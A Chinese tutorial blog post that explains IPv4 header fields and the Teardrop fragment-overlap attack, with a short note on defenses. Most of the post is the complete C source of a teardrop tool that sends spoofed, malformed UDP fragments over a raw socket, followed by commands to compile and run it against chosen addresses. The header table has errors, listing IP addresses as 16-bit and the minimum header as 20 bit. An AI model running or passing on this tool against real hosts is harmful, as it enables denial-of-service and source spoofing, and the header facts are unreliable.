Teardrop攻击 —— 创建虚假的IP数据包

一、IP协议介绍

IP协议是一种best efforts协议,不保证可靠性,数据包可能重复、丢失;无连接协议,同一个连接中的多个报文被独立对待。IP协议主要定义了数据传送的基本单位;执行路由功能;主要规定了主机和路由器应该如何处理数据包;在什么情况下产生错误信息;以及什么情况下应该丢弃数据包。

目前普遍使用的还是IPv4,报文格式如下:

分析说明:

  • 版本(4bit):4代表IPv4
  • 首部长度(4bit):这里的5代表5*4=20,将这里的数乘以4就是首部的长度,因此我们抓取的这个数据报的IP首部长度为20
  • 区分服务(8bit):用来获得更好的服务。这个字段在旧标准中叫做服务类型,但实际上一直没有被使用过,其一般位0
  • 总长度(16bit):代表IP数据报的总长度,单位是字节,共16位,因此IP数据报最大长度为2^16-1=65535字节
  • 标识(16bit):用于标识IP数据报。由于在不同的网络环境中的MTU不同,IP数据报有时需要分片,为了正确重组IP数据报,故每个数据报有标识字段,标识该分组的一个随机号
  • 标志(3bit):最低一位为MF(more fragment)标识后面是否还有碎片,中一位DF(don’t fragment)表示该数据报是否允许被分片
  • 片偏移(13bit):用于标识该碎片在整个数据报中的位置
  • 检验和(16bit):仅校验头部,而不检验数据部分
  • TTL(8bit):单位是路由次数,表示最多经过多少路由
  • 协议(8bit):携带的数据是何种协议,即该数据应该交付至哪层传输层协议,其中6表示TCP,17表示UDP
  • 源IP(16bit)
  • 目的IP(16bit)

其中一个IP数据包的包头长度最小为20bit

二、什么是Teardrop攻击

  1. 攻击原理

    攻击者A给受害者B发送一些分片IP报文,并且故意将“13位分片偏移”字段设置成错误的值(既可与上一分片数据重叠,也可错开),B在组合这种含有重叠偏移的伪造分片报文时,会导致系统崩溃。如下图所示

  2. 防御方法

    网络安全设备将接收到的分片报文先放入缓存中,并根据源IP地址和目的IP地址对报文进行分组,源IP地址和目的IP地址均相同的报文归入同一组,然后对每组IP报文的相关分片信息进行检查,丢弃分片信息存在错误的报文。为了防止缓存益处,当缓存快要存满是,直接丢弃后续分片报文。

三、编写Teardrop程序(创建一个虚假的IP数据包)

  1. Ubuntu 系统下。创建一个 Teardrop.c 文件,写入如下内容:

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <netinet/udp.h>
    #include <arpa/inet.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <sys/socket.h>
    #include <errno.h>
    
    #ifdef STRANGE_BSD_BYTE_ORDERING_THING
    /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
    #define FIX(n)  (n)
    #else  
    /* OpenBSD 2.1, all Linux */
    #define FIX(n)  htons(n)
    #endif  /* STRANGE_BSD_BYTE_ORDERING_THING */
    
    #define IP_MF 0x2000  /* More IP fragment en route */
    #define IPH 0x14    /* IP header size */
    #define UDPH 0x8     /* UDP header size */
    #define PADDING  0x1c    /* datagram frame padding for first packet */
    #define MAGIC  0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
    #define COUNT 0x1      /* Linux dies with 1, NT is more stalwart and can
                            * withstand maybe 5 or 10 sometimes...  Experiment.*/
                        
    
    void usage(u_char *);
    u_long name_resolve(u_char *);
    void send_frags(int, u_long, u_long, u_short, u_short);
    
    
    int main(int argc, char **argv)
    {
        int one = 1, count = 0, i, rip_sock;
        // 定义源地址和目的地址
        u_long src_ip = 0, dst_ip = 0;
        // 定义源端口和目的端口
        u_short src_prt = 0, dst_prt = 0;
        // 定义一个32位的IPv4地址
        struct in_addr addr;
        printf("teardrop route|daemon9\n\n");
        //创建原始套接字
        if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
        {
            fprintf(stderr, "raw socket");
            exit(1);
        }
        //设置套接字选项IP_HDRINCL
        if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL,
        (char *)&one, sizeof(one))< 0)
        {
            fprintf(stderr, "IP_HDRINCL");
            exit(1);
        }
        if (argc < 3)
            usage(argv[0]);
        // 设置源IP 和 目的IP
        if(!(src_ip=name_resolve(argv[1]))||!(dst_ip = name_resolve(argv[2])))
        {
            fprintf(stderr, "What the hell kind of IP address is that?\n");
            exit(1);
        }
        while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
        {
            switch (i)
            {
                case 's': // source port (should be emphemeral)
                src_prt = (u_short)atoi(optarg);
                break;
                case 't': // dest port (DNS, anyone?)
                dst_prt = (u_short)atoi(optarg);
                break;
                case 'n': // number to send
                count = atoi(optarg);
                break;
                default :
                usage(argv[0]);
                break; // NOTREACHED
            }
        }
        srandom((unsigned)(utimes("0",(time_t)0)));
        if (!src_prt) src_prt = (random() % 0xffff);
        if (!dst_prt) dst_prt = (random() % 0xffff);
        if (!count)
        count = COUNT;
        printf("Death on flaxen wings:\n");
        addr.s_addr = src_ip;
        printf("From: %15s.%5d\n", inet_ntoa(addr), src_prt);
        addr.s_addr = dst_ip;
        printf(" To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
        printf(" Amt: %5d\n", count);
        printf("[\n ");
        for (i = 0; i < count; i++)
        {
            send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
            // printf("b00m ");
            usleep(500);
        }
        printf("]\n");
        return (0);
    }
    
    
    // 设置 IP 包的内容
    void send_frags(int sock, u_long src_ip, u_long dst_ip,u_short src_prt,u_short dst_prt)
    {
        u_char *packet = NULL, *p_ptr = NULL, *flag = NULL; // packet pointers
        u_char byte; // a byte
        // 套接字地址结构
        struct sockaddr_in sin; /* socket protocol structure */
        sin.sin_family = AF_INET;
        sin.sin_port = src_prt;
        sin.sin_addr.s_addr = dst_ip;
        packet = (u_char *)malloc(IPH + UDPH + PADDING);
        p_ptr = packet;
        flag = packet;
        bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
        // IP version and header length
        byte = 0x45;
        memcpy(p_ptr, &byte, sizeof(u_char));
        p_ptr += 2; // IP TOS (skipped)
        // total length
        *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);
        p_ptr += 2;
        *((u_short *)p_ptr) = htons(242); // IP id
        p_ptr += 2;
        //IP frag flags and offset
        *((u_short *)p_ptr) |= FIX(IP_MF);
        p_ptr += 2;
        *((u_short *)p_ptr) = 0x40; // IP TTL
        byte = IPPROTO_UDP;
        memcpy(p_ptr + 1, &byte, sizeof(u_char));
        // IP checksum filled in by kernel
        p_ptr += 4;
        // IP source address
        *((u_long *)p_ptr) = src_ip;
        p_ptr += 4;
        // IP destination address
        *((u_long *)p_ptr) = dst_ip;
        p_ptr += 4;
        *((u_short *)p_ptr) = htons(src_prt); // UDP source port
        p_ptr += 2;
        *((u_short *)p_ptr) = htons(dst_prt); // UDP destination port
        p_ptr += 2;
        *((u_short *)p_ptr) = htons(PADDING); // UDP total length
        p_ptr += 4;
        
        // 发送数据:Fake News
        *((u_short *)p_ptr) = 0x46;
        p_ptr++;
        *((u_short *)p_ptr) = 0x61;
        p_ptr++;
        *((u_short *)p_ptr) = 0x6B;
        p_ptr++;
        *((u_short *)p_ptr) = 0x65;
        p_ptr++;
        *((u_short *)p_ptr) = 0x20;
        p_ptr++;
        *((u_short *)p_ptr) = 0x4E;
        p_ptr++;
        *((u_short *)p_ptr) = 0x65;
        p_ptr++;
        *((u_short *)p_ptr) = 0x77;
        p_ptr++;
        *((u_short *)p_ptr) = 0x73;
    
        int i=1;
        while(i <= 56)
        {
    	printf("%x\t",*flag);
    	flag++;
            if(0 == i%8)
    	    printf("\n");
            i++;
        }
    
        if (sendto(sock, packet, IPH + UDPH + PADDING, 0,
        (struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
        {
            fprintf(stderr, "\nsendto");
            free(packet);
            exit(1);
        }
        // IP total length is 2 bytes into the header
        p_ptr = &packet[2];
        *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
        // IP offset is 6 bytes into the header
        p_ptr += 4;
        *((u_short *)p_ptr) = FIX(MAGIC);
        if (sendto(sock, packet, IPH+MAGIC+1, 0,
        (struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
        {
            fprintf(stderr, "\nsendto");
            free(packet);
            exit(1);
        }
        free(packet);
    }
    
    
    // 获取主机信息
    u_long name_resolve(u_char *host_name)
    {
        struct in_addr addr;
        struct hostent *host_ent;
        if ((addr.s_addr = inet_addr(host_name)) == -1)
        {
            if (!(host_ent = gethostbyname(host_name))) return (0);
                bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
        }
        return (addr.s_addr);
    }
    
    
    void usage(u_char *name)
    {
        fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",name);
        exit(0);
    }
    
  2. 编译运行

    gcc Teardrop.c -o Teardrop
    sudo ./Teardrop 100.100.100.100 200.200.200.200
    
  3. wireshark 抓包如下:

四、参考资料和🔗

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值